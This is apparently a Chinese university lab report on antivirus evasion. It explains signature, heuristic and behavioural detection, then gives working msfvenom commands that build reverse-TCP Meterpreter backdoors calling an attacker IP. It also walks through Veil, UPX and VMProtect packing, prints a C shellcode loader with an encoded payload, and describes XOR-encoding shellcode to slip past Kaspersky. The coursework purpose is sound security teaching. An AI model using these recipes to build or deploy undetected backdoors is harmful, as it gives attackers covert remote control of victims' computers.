2019-2020-2 20174317祝源《网络对抗技术》Exp3 免杀原理与实践
1. 实验目的
使用各种技术对恶意软件做处理,让它不被杀毒软件所检测出来。
2. 基础知识
2.1. 恶意软件检测机制
2.1.1. 基于特征码的检测
简单来说一段特征码就是一段或多段数据。如果一个可执行文件(或其他运行的库、脚本等)包含这样的数据则被认为是恶意代码。,这种检测方式的特是:精确检测,但滞后,需要先得到特征码才能检测出恶意软件。
2.1.2. 启发式恶意软件检测
启发式Heuristic,简单来说,就是根据些片面特征去推断,比如软件的行为、软件的签名等。通常是在没有精确判定依据时使用启发式检测。这种检测方式的优点是:可以检测0-day恶意软件,具有一定通用性,缺点是:实时监控系统行为,开销稍多;没有基于特征码的精确度高,可能错判。
2.1.3. 基于行为的恶意软件检测
从理论上讲,基于行为的检测相当于是启发式的一种,更侧重于监控软件的行为。有一些行为是恶意代码共有的,而且比较特殊,在正常代码中比较罕见。当程序运行时,监视其行为,如果发现了病毒行为,立即报警。这种检测方法可预报未知的多数病毒,但不能发现是哪种病毒。
2.2. 免杀技术(Evading AV)综述
2.2.1. 改变特征码
如果只有EXE,可以加压缩壳或加密壳;如果有shellcode(像Meterpreter),可以使用encode进行编码,或基于payload重新编译生成可执行文件;如果有源代码,可以用其他语言进行重写再编译。
2.2.2. 改变行为
在通讯方式上,可尽量使用反弹式连接,或使用隧道技术,并加密通讯数据;在操作模式上,基于内存操作,或减少对系统的修改,或加入混淆作用的正常功能代码。
2.2.3. 非常规方式
- 使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中。
- 使用社工类攻击,诱骗目标关闭AV软件。
- 纯手工打造一个恶意软件。
2.3. 留后门的思路
写一个有漏洞的软件,开一个服务端口(这个端口就是后门)。这个软件本身没问题。然后如果这个端口被攻击,就可以获得系统控制权。
3. 免杀工具使用
攻击机是kali,IP是192.168.0.103
3.1. 使用msf不同编码器
使用msfvenom生成后门程序时,可以使用-e参数指定要使用的编码器,-p可以指定payload,那具体有哪些编码器和payload可以使用呢?
payload存放在/usr/share/metasploit-framework/modules/payloads/{singles,stages,stagers}/<platform>
中,MSF的编码器存放在目录/usr/share/metasploit-framework/modules/encoders
下。可以发现MSF的编码器和payload都是按语言或平台类型来存放的。更详细的讲解请看这篇博文
这次payload使用bind_tcp_uuid.rb
,使用x64
的xor.rb
编码器。
使用命令msfvenom -p windows/x64/pingback_reverse_tcp -e x86/xor_dynamic -b '\x00\x0a' LHOST=192.168.0.103 LPORT=4317 -f exe > zy20174317_backdoor.exe
生成后门程序。
使用virustotal检测结果如下:
使用不同的payload可以稍微减少检出率。
3.2. msfvenom生成如jar之类的其他文件
生成python:
msfvenom -p windows/x64/pingback_reverse_tcp -e x86/xor_dynamic -b '\x00\x0a' LHOST=192.168.0.103 LPORT=4317 -f py > zy20174317_backdoor.py
居然0报毒
msfvenom -p python/meterpreter_reverse_tcp -e x86/xor_dynamic -b '\x00\x0a' LHOST=192.168.0.103 LPORT=4317 -f py > zy20174317_backdoor.py
也是0报毒
生成php:
msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.0.103 LPORT=4317 -f raw > zy20174317_backdoor.php
能够检查出来是病毒,但是多数杀软还是认为没有毒的。
3.3. veil
3.3.1. veil安装
我使用以下方法成功安装,大概花了几十分钟吧:
先使用以下命令下载veil:
sudo apt-get update
sudo apt-get install -y veil-evasion
在update时出现了问题,出现这种提示“文件尺寸不符。您使用的镜像正在同步中?”。将http的镜像源改为https后问题解决。
下载完后,在终端中输入veil
进行安装。
安装完AutoIt3后会报错,这时将/var/lib/veil/wine/drive_c/Program Files (x86)
下的AutoIt3
文件夹复制到/var/lib/veil/wine/drive_c/Program Files
下,然后再次在终端中输入veil进行安装(之前已经安装的软件不会被重复安装)。
3.3.2. veil使用
-
use 1
使用免杀服务 -
list
列出能够使用的模块 -
use 39
使用ruby/meterpreter/rev_tcp.py -
使用
set LHOST 192.168.0.103
和set LPORT 4317
设置反向连接的ip的端口。 -
输入
generate
生成文件,生成的可执行文件位于/var/lib/veil/output/compiled/
下,msf的脚本位于/var/lib/veil/output/handlers/
下,源代码在/var/lib/veil/output/source/
文件夹里。 -
检测结果如下:
3.4. 加壳工具
3.4.1. UPX
使用UPX给上一步veil生成的恶意软件加压缩壳:upx 20174317_ruby.exe -o 20174317_ruby_upx.exe
。
检测,比未加壳时稍微好了一点:
3.4.2. VMProtect
下载后,使用VMProtect加壳,加壳之后文件大了不少:
检测结果如下:
3.5. 使用C+shellcode
3.5.1. 使用veil生成shellcode
1.进入veil后输入use 2
使用Ordnance
2.use rev_tcp
使用反向tcp连接
3.使用set LHOST
和set LPORT
设置IP端口号,使用set Encoder xor
使用xor编码器(用list encoders命令看了,好像就这一个编码器),输入generate生成shellcode
也可使用msfvenom生成:msfvenom -p windows/meterpreter/reverse_tcp -e x86/xor_dynamic -b '\x00\x0a' lhost=192.168.0.103 lport=4317 -f c
3.5.2. 编写调用shellcode的C语言程序
网上找的代码如下:
#include <windows.h>
using namespace std;
int main(int argc, char **argv){
unsigned char buf[] =
"\xeb\x23\x5b\x89\xdf\xb0\xe4\xfc\xae\x75\xfd\x89\xf9\x89\xde"
"\x8a\x06\x30\x07\x47\x66\x81\x3f\xba\x89\x74\x08\x46\x80\x3e"
"\xe4\x75\xee\xeb\xea\xff\xe1\xe8\xd8\xff\xff\xff\x13\xe4\xef"
"\xfb\x91\x13\x13\x13\x73\x9a\xf6\x22\xd3\x77\x98\x43\x23\x98"
"\x41\x1f\x98\x41\x07\x98\x61\x3b\x1c\xa4\x59\x35\x22\xec\xbf"
"\x2f\x72\x6f\x11\x3f\x33\xd2\xdc\x1e\x12\xd4\xf1\xe1\x41\x44"
"\x98\x41\x03\x98\x59\x2f\x98\x5f\x02\x6b\xf0\x5b\x12\xc2\x42"
"\x98\x4a\x33\x12\xc0\x98\x5a\x0b\xf0\x29\x5a\x98\x27\x98\x12"
"\xc5\x22\xec\xbf\xd2\xdc\x1e\x12\xd4\x2b\xf3\x66\xe5\x10\x6e"
"\xeb\x28\x6e\x37\x66\xf7\x4b\x98\x4b\x37\x12\xc0\x75\x98\x1f"
"\x58\x98\x4b\x0f\x12\xc0\x98\x17\x98\x12\xc3\x9a\x57\x37\x37"
"\x48\x48\x72\x4a\x49\x42\xec\xf3\x4c\x4c\x49\x98\x01\xf8\x9e"
"\x4e\x7b\x20\x21\x13\x13\x7b\x64\x60\x21\x4c\x47\x7b\x5f\x64"
"\x35\x14\x9a\xfb\xec\xc3\xab\x83\x12\x13\x13\x3a\xd7\x47\x43"
"\x7b\x3a\x93\x78\x13\xec\xc6\x79\x19\x7b\xd3\xbb\x13\x74\x7b"
"\x11\x13\x03\xce\x9a\xf5\x43\x43\x43\x43\x53\x43\x53\x43\x7b"
"\xf9\x1c\xcc\xf3\xec\xc6\x84\x79\x03\x45\x44\x7b\x8a\xb6\x67"
"\x72\xec\xc6\x96\xd3\x67\x19\xec\x5d\x1b\x66\xff\xfb\x74\x13"
"\x13\x13\x79\x13\x79\x17\x45\x44\x7b\x11\xca\xdb\x4c\xec\xc6"
"\x90\xeb\x13\x6d\x25\x98\x25\x79\x53\x7b\x13\x03\x13\x13\x45"
"\x79\x13\x7b\x4b\xb7\x40\xf6\xec\xc6\x80\x40\x79\x13\x45\x40"
"\x44\x7b\x11\xca\xdb\x4c\xec\xc6\x90\xeb\x13\x6e\x3b\x4b\x7b"
"\x13\x53\x13\x13\x79\x13\x43\x7b\x18\x3c\x1c\x23\xec\xc6\x44"
"\x7b\x66\x7d\x5e\x72\xec\xc6\x4d\x4d\xec\x1f\x37\x1c\x96\x63"
"\xec\xec\xec\xfa\x88\xec\xec\xec\x12\xd0\x3a\xd5\x66\xd2\xd0"
"\xa8\xe3\xa6\xb1\x45\x79\x13\x40\xec\xc6\xba\x89";
void *exec = VirtualAlloc(0, sizeof buf, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, buf, sizeof buf);
((void(*)())exec)();
return 0;
}
检测,居然只有两个杀软查出来,免杀率很高啊!但是神奇的是这个程序运行之后kali的msf里完全没有反应,就是说这段代码没用(这大概就是为什么通过率这么高的原因吧)。看别人好像可以,应该是我的编译器的问题。
3.6. 使用其他课堂未介绍方法
使用veil的Evasion的lua/shellcode_inject/flat.py
,什么都不需要设置,直接生成,会要求选择生成或提供shellcode(Generate or supply custom shellcode),有以下5个选项:
1.Ordnance(default),使用veil的Ordnance生成shellcode。
2.MSFVenom,使用MSFVenom生成shellcode。
3.Custom shellcode string,让我自己提供shellcode的意思。
4.File with shellcode (\x41\x42),使用含有shellcode的文本文件。
5.Binary File with shellcode,使用含有shellcode的二进制文件。
这里选择1,使用veil生成shellcode。输入use reverse_tcp
,和之前一样使用set
设置LPORT和LHOST,输入generate生成。生成后会自动跳转回Evasion继续生成lua脚本文件。生成的脚本位于/var/lib/veil/output/source
文件夹下。
生成后检测如图,免杀率挺高的。
4. 免杀与回连成功
4.1. 将shellcode异或后存储并在运行时恢复
基于C+shellcode,不同于直接执行shellcode而是先将shellcode与自己选择的任意字符进行异或操作,将异或后的字符串保存到程序中。程序在运行时会先恢复shellcode再运行。使用VS2017创建Windows应用程序进行编译,参考这篇博客,编译完成后使用upx加壳。使用我自己的主机,经测试能回连并和杀软共存。源代码在此。
不能使用通过VirtualAlloc分配内存再执行的方法,而是使用了在编译时设置数据段可执行,然后再将shellcode数组的地址转为函数指针来执行shellcode的方式。
杀毒软件名称:卡巴斯基安全软件,版本为:20.0.14.1085(i),更新到了最新版的数据库。
virustotal检测结果如下:
不过这也只是做到了和杀软共存,但在运行的时候还是被拦截下来了,提示检测到恶意行为,需要我点同意才能继续。
5. 问题回答
5.1. 基础问题回答
5.1.1. 杀软是如何检测出恶意代码的?
可以使用特征码进行检测,如果通过特征码检测不出来的话可以检测软件的签名、编译器之类的。最后就是可以检测它有没有异常行为。
5.1.2. 免杀是做什么?
让杀毒软件检测不出来一个恶意软件是恶意软件,让恶意软件能够顺利运行,在被攻击者的主机上留下后门或搞破坏什么的。
5.1.3. 免杀的基本方法有哪些?
一是更改特征码,比如将shellcode编码、将软件加壳、用别的语言重写。二是使用更隐蔽的行为,比如使用反向连接、加入正常代码。三是使用一些其他的方法,比如社工类攻击方法,我们下载的破解版软件,经常能在压缩包里看见一个“本软件已破解,可能会被杀毒软件报毒,请关闭杀毒软件后再运行”。
5.2. 开启杀软能绝对防止电脑中恶意代码吗?
不能,杀毒软件也不是万能的,恶意软件会采用各种手段来免杀,总有一些是杀软暂时不能查出来的。
6. 实践总结与体会
经过这次实验,更加理解了信息安全的重要性,网络空间上随时都有攻击在发生,更有一些是以窃取国家MM为目标的,如果不做好防护的话,后果是很严重的。做这次实验前以为装了杀软电脑就很安全了,没想到还有这么多绕过杀毒软件的方法。但装杀毒软件也是很重要的,杀毒软件也要及时更新。有个杀软总比没有好。